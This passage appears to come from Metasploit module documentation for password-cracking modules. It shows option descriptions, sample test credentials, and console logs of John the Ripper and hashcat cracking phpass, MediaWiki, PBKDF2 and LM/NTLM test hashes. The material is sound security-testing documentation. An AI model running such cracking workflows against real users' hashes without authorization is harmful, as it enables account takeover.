[*] Cracking phpass hashes in single mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=ELA5O5SC --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=phpass --wordlist=/tmp/jtrtmp20190531-3775-5tikjk --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
|
||||
Using default input encoding: UTF-8
|
||||
Will run 8 OpenMP threads
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
2g 0:00:00:00 DONE (2019-05-31 18:59) 100.0g/s 38400p/s 38400c/s 76800C/s test3:::..tere9
|
||||
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
[*] Cracking phpass hashes in normal mode
|
||||
[*] Cracking Command: /usr/sbin/john --session=ELA5O5SC --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=phpass --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
|
||||
Using default input encoding: UTF-8
|
||||
Will run 8 OpenMP threads
|
||||
Proceeding with single, rules:Single
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
1g 0:00:00:00 DONE 1/3 (2019-05-31 18:59) 100.0g/s 19200p/s 19200c/s 19200C/s phpass_p_hashcat..tachsah_p_ssaphptachsaH
|
||||
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
[*] Cracking phpass hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=ELA5O5SC --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=phpass --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking phpass hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=ELA5O5SC --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=phpass --wordlist=/tmp/jtrtmp20190531-3775-5tikjk --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
|
||||
Using default input encoding: UTF-8
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1533 phpass phpass_p_hashcat hashcat Normal
|
||||
1534 phpass phpass_h_hashcat hashcat Single
|
||||
1535 PBKDF2-HMAC-SHA1 atlassian_hashcat hashcat Single
|
||||
1536 PBKDF2-HMAC-SHA1 atlassian_secret secret Normal
|
||||
1537 PBKDF2-HMAC-SHA1 atlassian_admin admin Normal
|
||||
|
||||
[*] Checking mediawiki hashes already cracked...
|
||||
[*] Cracking mediawiki hashes in single mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=D6d9Rjcl --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mediawiki --wordlist=/tmp/jtrtmp20190531-3775-5tikjk --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
|
||||
Using default input encoding: UTF-8
|
||||
Warning: no OpenMP support for this hash type, consider --fork=8
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
1g 0:00:00:00 DONE (2019-05-31 18:59) 50.00g/s 853300p/s 1021Kc/s 1021KC/s thales1913..t1900
|
||||
Use the "--show" option to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
[*] Cracking mediawiki hashes in normal mode
|
||||
[*] Cracking Command: /usr/sbin/john --session=D6d9Rjcl --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mediawiki --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
|
||||
Using default input encoding: UTF-8
|
||||
Warning: no OpenMP support for this hash type, consider --fork=8
|
||||
Proceeding with single, rules:Single
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
1g 0:00:00:00 DONE 1/3 (2019-05-31 18:59) 100.0g/s 4800p/s 4800c/s 4800C/s mediawiki_qwerty..mediawikimediawiki_qwertymediawikimediawiki_qwerty
|
||||
Use the "--show" option to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
[*] Cracking mediawiki hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=D6d9Rjcl --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mediawiki --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking mediawiki hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=D6d9Rjcl --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mediawiki --wordlist=/tmp/jtrtmp20190531-3775-5tikjk --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
|
||||
Using default input encoding: UTF-8
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1531 mediawiki mediawiki_qwerty qwerty Normal
|
||||
1532 mediawiki mediawiki_hashcat hashcat Single
|
||||
1533 phpass phpass_p_hashcat hashcat Normal
|
||||
1534 phpass phpass_h_hashcat hashcat Single
|
||||
1535 PBKDF2-HMAC-SHA1 atlassian_hashcat hashcat Single
|
||||
1536 PBKDF2-HMAC-SHA1 atlassian_secret secret Normal
|
||||
1537 PBKDF2-HMAC-SHA1 atlassian_admin admin Normal
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
resource (hashes_hashcat.rb)> creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format
|
||||
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||
mediawiki_hashcat hashcat Password
|
||||
phpass_p_hashcat hashcat Password
|
||||
phpass_h_hashcat hashcat Password
|
||||
atlassian_hashcat hashcat Password
|
||||
mediawiki_qwerty $B$113$de2874e33da25313d808d2a8cbf31485 Nonreplayable hash mediawiki
|
||||
mediawiki_hashcat $B$56668501$0ce106caa70af57fd525aeaf80ef2898 Nonreplayable hash mediawiki
|
||||
phpass_p_hashcat $P$984478476IagS59wHZvyQMArzfx58u. Nonreplayable hash phpass
|
||||
phpass_h_hashcat $H$984478476IagS59wHZvyQMArzfx58u. Nonreplayable hash phpass
|
||||
atlassian_hashcat {PKCS5S2}NzIyNzM0NzY3NTIwNjI3MdDDis7wPxSbSzfFqDGf7u/L00kSEnupbz36XCL0m7wa Nonreplayable hash PBKDF2-HMAC-SHA1
|
||||
atlassian_secret {PKCS5S2}/eWKocWoBMiEN6aA2SQMm56/qLdCVW0fmGF4zF3CzeyaoZUpW1tE3R/fxnYjGbza Nonreplayable hash PBKDF2-HMAC-SHA1
|
||||
atlassian_admin {PKCS5S2}8WEZjkCbLWysbcbZ5PRgMbdJgJOhkzRT3y1jxOqke2z1Zr79q8ypugFQEYaMoIZt Nonreplayable hash PBKDF2-HMAC-SHA1
|
||||
atlassian_secret secret Password
|
||||
atlassian_admin admin Password
|
||||
mediawiki_qwerty qwerty Password
|
||||
```
|
||||
|
||||
### Hashcat
|
||||
|
||||
We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
|
||||
|
||||
```
|
||||
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
|
||||
CUSTOM_WORDLIST => /tmp/wordlist
|
||||
resource (hashes_hashcat.rb)> setg ShowCommand true
|
||||
ShowCommand => true
|
||||
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
|
||||
USE_DEFAULT_WORDLIST => false
|
||||
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
|
||||
DeleteTempFiles => false
|
||||
resource (hashes_hashcat.rb)> setg USE_CREDS false
|
||||
USE_CREDS => false
|
||||
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
|
||||
USE_DB_INFO => false
|
||||
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
|
||||
USE_HOSTNAMES => false
|
||||
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
|
||||
USE_ROOT_WORDS => false
|
||||
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
|
||||
ITERATION_TIMEOUT => 60
|
||||
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_webapps
|
||||
resource (hashes_hashcat.rb)> set action hashcat
|
||||
action => hashcat
|
||||
resource (hashes_hashcat.rb)> run
|
||||
[+] hashcat Version Detected: v5.1.0
|
||||
[*] Hashes Written out to /tmp/hashes_tmp20190531-3903-kn244m
|
||||
[*] Wordlist file written out to /tmp/jtrtmp20190531-3903-r8ligw
|
||||
[*] Checking PBKDF2-HMAC-SHA1 hashes already cracked...
|
||||
[*] Cracking PBKDF2-HMAC-SHA1 hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=hWnnDYym --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=12001 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-3903-kn244m
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking PBKDF2-HMAC-SHA1 hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=hWnnDYym --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=12001 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-3903-kn244m /tmp/jtrtmp20190531-3903-r8ligw
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1549 PBKDF2-HMAC-SHA1 atlassian_hashcat hashcat Wordlist
|
||||
|
||||
[*] Checking phpass hashes already cracked...
|
||||
[*] Cracking phpass hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=dZ7kuaal --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=400 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-3903-kn244m
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking phpass hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=dZ7kuaal --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=400 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-3903-kn244m /tmp/jtrtmp20190531-3903-r8ligw
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1547 phpass phpass_p_hashcat hashcat Wordlist
|
||||
1549 PBKDF2-HMAC-SHA1 atlassian_hashcat hashcat Wordlist
|
||||
|
||||
[*] Checking mediawiki hashes already cracked...
|
||||
[*] Cracking mediawiki hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=nasHCHQx --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=3711 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-3903-kn244m
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking mediawiki hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=nasHCHQx --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=3711 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-3903-kn244m /tmp/jtrtmp20190531-3903-r8ligw
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1546 mediawiki mediawiki_hashcat hashcat Wordlist
|
||||
1547 phpass phpass_p_hashcat hashcat Wordlist
|
||||
1549 PBKDF2-HMAC-SHA1 atlassian_hashcat hashcat Wordlist
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
resource (hashes_hashcat.rb)> creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format
|
||||
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||
phpass_h_hashcat $H$984478476IagS59wHZvyQMArzfx58u. Nonreplayable hash phpass
|
||||
mediawiki_qwerty $B$113$de2874e33da25313d808d2a8cbf31485 Nonreplayable hash mediawiki
|
||||
mediawiki_hashcat $B$56668501$0ce106caa70af57fd525aeaf80ef2898 Nonreplayable hash mediawiki
|
||||
mediawiki_hashcat hashcat Password
|
||||
atlassian_admin {PKCS5S2}8WEZjkCbLWysbcbZ5PRgMbdJgJOhkzRT3y1jxOqke2z1Zr79q8ypugFQEYaMoIZt Nonreplayable hash PBKDF2-HMAC-SHA1
|
||||
phpass_p_hashcat hashcat Password
|
||||
atlassian_hashcat hashcat Password
|
||||
atlassian_hashcat {PKCS5S2}NzIyNzM0NzY3NTIwNjI3MdDDis7wPxSbSzfFqDGf7u/L00kSEnupbz36XCL0m7wa Nonreplayable hash PBKDF2-HMAC-SHA1
|
||||
atlassian_secret {PKCS5S2}/eWKocWoBMiEN6aA2SQMm56/qLdCVW0fmGF4zF3CzeyaoZUpW1tE3R/fxnYjGbza Nonreplayable hash PBKDF2-HMAC-SHA1
|
||||
phpass_p_hashcat $P$984478476IagS59wHZvyQMArzfx58u. Nonreplayable hash phpass
|
||||
```
|
||||
@@ -0,0 +1,354 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module attempts to use a password cracker to decode Windows
|
||||
based password hashes, such as:
|
||||
|
||||
* `LANMAN` based passwords
|
||||
* `NTLM` based passwords
|
||||
|
||||
| Common | John | Hashcat |
|
||||
|--------|----------|---------|
|
||||
| lanman | lm | 3000 |
|
||||
| ntlm | nt | 1000 |
|
||||
|
||||
Sources of hashes can be found here:
|
||||
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Have at least one user with an `ntlm`, or `lanman` password hash in the database
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/analyze/crack_windows```
|
||||
4. Do: set cracker of choice
|
||||
5. Do: ```run```
|
||||
6. You should hopefully crack a password.
|
||||
|
||||
## Actions
|
||||
|
||||
**john**
|
||||
|
||||
Use john the ripper (default).
|
||||
|
||||
**hashcat**
|
||||
|
||||
Use hashcat.
|
||||
|
||||
## Options
|
||||
|
||||
**CONFIG**
|
||||
|
||||
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
|
||||
|
||||
**CRACKER_PATH**
|
||||
|
||||
The absolute path to the cracker executable. Default behavior is to search `path`.
|
||||
|
||||
**CUSTOM_WORDLIST**
|
||||
|
||||
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
|
||||
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
|
||||
|
||||
**DeleteTempFiles**
|
||||
|
||||
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
|
||||
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
|
||||
|
||||
**Fork**
|
||||
|
||||
This option will set how many forks to use on john the ripper. Default is `1` (no forking).
|
||||
|
||||
**INCREMENTAL**
|
||||
|
||||
Run the cracker in incremental mode. Default is `true`
|
||||
|
||||
**ITERATION_TIMEOUT**
|
||||
|
||||
The max-run-time for each iteration of cracking.
|
||||
|
||||
**KORELOGIC**
|
||||
|
||||
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
|
||||
Default is `false`.
|
||||
|
||||
**LANMAN**
|
||||
|
||||
Crack LANMAN hashes. Default is `true`.
|
||||
|
||||
**MUTATE**
|
||||
|
||||
Apply common mutations to the Wordlist (SLOW). Mutations are:
|
||||
|
||||
* `'@' => 'a'`
|
||||
* `'0' => 'o'`
|
||||
* `'3' => 'e'`
|
||||
* `'$' => 's'`
|
||||
* `'7' => 't'`
|
||||
* `'1' => 'l'`
|
||||
* `'5' => 's'`
|
||||
|
||||
Default is `false`.
|
||||
|
||||
**NTLM**
|
||||
|
||||
Crack NTLM hashes. Default is `true`.
|
||||
|
||||
**POT**
|
||||
|
||||
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
|
||||
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
|
||||
Default is `~/.msf4/john.pot`.
|
||||
|
||||
**SHOWCOMMAND**
|
||||
|
||||
Show the command being used run from the command line for debugging. Default is `false`
|
||||
|
||||
**USE_CREDS**
|
||||
|
||||
Use existing credential data saved in the database. Default is `true`.
|
||||
|
||||
**USE_DB_INFO**
|
||||
|
||||
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
|
||||
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
|
||||
|
||||
**USE_DEFAULT_WORDLIST**
|
||||
|
||||
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
|
||||
`true`.
|
||||
|
||||
**USE_HOSTNAMES**
|
||||
|
||||
Seed the wordlist with hostnames from the workspace. Default is `true`.
|
||||
|
||||
**USE_ROOT_WORDS**
|
||||
|
||||
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
|
||||
is true.
|
||||
|
||||
**WORDLIST**
|
||||
|
||||
Run the cracker in dictionary/wordlist mode. Default is `true`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Sample Data
|
||||
|
||||
The following is data which can be used to test integration, including adding entries
|
||||
to a wordlist and pot file to test various aspects of the cracker.
|
||||
|
||||
```
|
||||
creds add user:lm_password ntlm:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c jtr:lm
|
||||
creds add user:lm2_password ntlm:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c jtr:lm
|
||||
creds add user:lm2_pot_password ntlm:e52cac67419fafe2fafe108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c jtr:lm
|
||||
creds add user:nt_password ntlm:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c jtr:nt
|
||||
echo "" > /root/.msf4/john.pot
|
||||
echo "\$LM\$E52CAC67419FAFE2:passwor" >> /root/.msf4/john.pot
|
||||
echo "\$LM\$FAFE108F3FA6CB6D:d" >> /root/.msf4/john.pot
|
||||
echo "test" > /tmp/wordlist
|
||||
echo "password" >> /tmp/wordlist
|
||||
```
|
||||
|
||||
### John the Ripper
|
||||
|
||||
We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
|
||||
|
||||
```
|
||||
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
|
||||
CUSTOM_WORDLIST => /tmp/wordlist
|
||||
resource (hashes_hashcat.rb)> setg ShowCommand true
|
||||
ShowCommand => true
|
||||
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
|
||||
USE_DEFAULT_WORDLIST => false
|
||||
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
|
||||
DeleteTempFiles => false
|
||||
resource (hashes_hashcat.rb)> setg USE_CREDS false
|
||||
USE_CREDS => false
|
||||
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
|
||||
USE_DB_INFO => false
|
||||
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
|
||||
USE_HOSTNAMES => false
|
||||
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
|
||||
USE_ROOT_WORDS => false
|
||||
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
|
||||
ITERATION_TIMEOUT => 60
|
||||
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_windows
|
||||
resource (hashes_hashcat.rb)> run
|
||||
[+] john Version Detected: 1.9.0-jumbo-1 OMP
|
||||
[*] Hashes Written out to /tmp/hashes_tmp20190531-32530-1bqr8cd
|
||||
[*] Wordlist file written out to /tmp/jtrtmp20190531-32530-1qjwpit
|
||||
[*] Checking lm hashes already cracked...
|
||||
[*] Cracking lm hashes in single mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=sFX9A0yc --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=lm --wordlist=/tmp/jtrtmp20190531-32530-1qjwpit --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-32530-1bqr8cd
|
||||
Using default input encoding: UTF-8
|
||||
Using default target encoding: CP850
|
||||
Warning: poor OpenMP scalability for this hash type, consider --fork=8
|
||||
Will run 8 OpenMP threads
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
2g 0:00:00:00 DONE (2019-05-31 17:07) 200.0g/s 585500p/s 585500c/s 1756KC/s TEST3::..T1900
|
||||
Warning: passwords printed above might be partial and not be all those cracked
|
||||
Use the "--show --format=LM" options to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
[*] Cracking lm hashes in normal mode
|
||||
[*] Cracking Command: /usr/sbin/john --session=sFX9A0yc --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=lm --max-run-time=60 /tmp/hashes_tmp20190531-32530-1bqr8cd
|
||||
Using default input encoding: UTF-8
|
||||
Using default target encoding: CP850
|
||||
Warning: poor OpenMP scalability for this hash type, consider --fork=8
|
||||
Will run 8 OpenMP threads
|
||||
Proceeding with single, rules:Single
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
Almost done: Processing the remaining buffered candidate passwords, if any.
|
||||
Warning: Only 336 candidates buffered for the current salt, minimum 2048 needed for performance.
|
||||
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
|
||||
1g 0:00:00:00 DONE 2/3 (2019-05-31 17:07) 50.00g/s 1774Kp/s 1774Kc/s 1774KC/s 123456..SEEKER0
|
||||
Warning: passwords printed above might be partial
|
||||
Use the "--show --format=LM" options to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
[*] Cracking lm hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=sFX9A0yc --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=lm --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-32530-1bqr8cd
|
||||
Using default input encoding: UTF-8
|
||||
Using default target encoding: CP850
|
||||
[*] Cracking lm hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=sFX9A0yc --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=lm --wordlist=/tmp/jtrtmp20190531-32530-1qjwpit --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-32530-1bqr8cd
|
||||
Using default input encoding: UTF-8
|
||||
Using default target encoding: CP850
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1462 lm lm_password password Single
|
||||
1463 lm lm2_password password Single
|
||||
1464 lm lm2_pot_password password Already Cracked/POT
|
||||
|
||||
[*] Checking nt hashes already cracked...
|
||||
[*] Cracking nt hashes in single mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=MUVWOAMV --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=nt --wordlist=/tmp/jtrtmp20190531-32530-1qjwpit --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-32530-1bqr8cd
|
||||
Using default input encoding: UTF-8
|
||||
Warning: no OpenMP support for this hash type, consider --fork=8
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
1g 0:00:00:00 DONE (2019-05-31 17:07) 100.0g/s 19200p/s 19200c/s 19200C/s test3:::..Password12
|
||||
Warning: passwords printed above might not be all those cracked
|
||||
Use the "--show --format=NT" options to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
[*] Cracking nt hashes in normal mode
|
||||
[*] Cracking Command: /usr/sbin/john --session=MUVWOAMV --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=nt --max-run-time=60 /tmp/hashes_tmp20190531-32530-1bqr8cd
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking nt hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=MUVWOAMV --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=nt --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-32530-1bqr8cd
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking nt hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=MUVWOAMV --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=nt --wordlist=/tmp/jtrtmp20190531-32530-1qjwpit --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-32530-1bqr8cd
|
||||
Using default input encoding: UTF-8
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1462 lm lm_password password Single
|
||||
1463 lm lm2_password password Single
|
||||
1464 lm lm2_pot_password password Already Cracked/POT
|
||||
1465 nt nt_password password Single
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
resource (hashes_hashcat.rb)> creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format
|
||||
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||
lm_password e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c NTLM hash nt,lm
|
||||
lm2_password e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c NTLM hash nt,lm
|
||||
lm2_pot_password e52cac67419fafe2fafe108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c NTLM hash nt,lm
|
||||
nt_password aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c NTLM hash nt,lm
|
||||
lm2_pot_password password Password
|
||||
lm_password password Password
|
||||
lm2_password password Password
|
||||
nt_password password Password
|
||||
```
|
||||
|
||||
### Hashcat
|
||||
|
||||
We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
|
||||
|
||||
```
|
||||
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
|
||||
CUSTOM_WORDLIST => /tmp/wordlist
|
||||
resource (hashes_hashcat.rb)> setg ShowCommand true
|
||||
ShowCommand => true
|
||||
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
|
||||
USE_DEFAULT_WORDLIST => false
|
||||
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
|
||||
DeleteTempFiles => false
|
||||
resource (hashes_hashcat.rb)> setg USE_CREDS false
|
||||
USE_CREDS => false
|
||||
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
|
||||
USE_DB_INFO => false
|
||||
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
|
||||
USE_HOSTNAMES => false
|
||||
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
|
||||
USE_ROOT_WORDS => false
|
||||
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
|
||||
ITERATION_TIMEOUT => 60
|
||||
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_windows
|
||||
resource (hashes_hashcat.rb)> set action hashcat
|
||||
action => hashcat
|
||||
resource (hashes_hashcat.rb)> run
|
||||
[+] hashcat Version Detected: v5.1.0
|
||||
[*] Hashes Written out to /tmp/hashes_tmp20190531-32645-186ea6l
|
||||
[*] Wordlist file written out to /tmp/jtrtmp20190531-32645-12pwixd
|
||||
[*] Checking lm hashes already cracked...
|
||||
[*] Cracking lm hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=i26VXnSy --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=3000 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-32645-186ea6l
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking lm hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=i26VXnSy --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=3000 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-32645-186ea6l /tmp/jtrtmp20190531-32645-12pwixd
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1470 lm lm_password [notfound]D Incremental
|
||||
1471 lm lm2_password [notfound]D Incremental
|
||||
|
||||
[*] Checking nt hashes already cracked...
|
||||
[*] Cracking nt hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=6lfDPvji --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1000 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-32645-186ea6l
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking nt hashes in wordlist mode...
|
||||
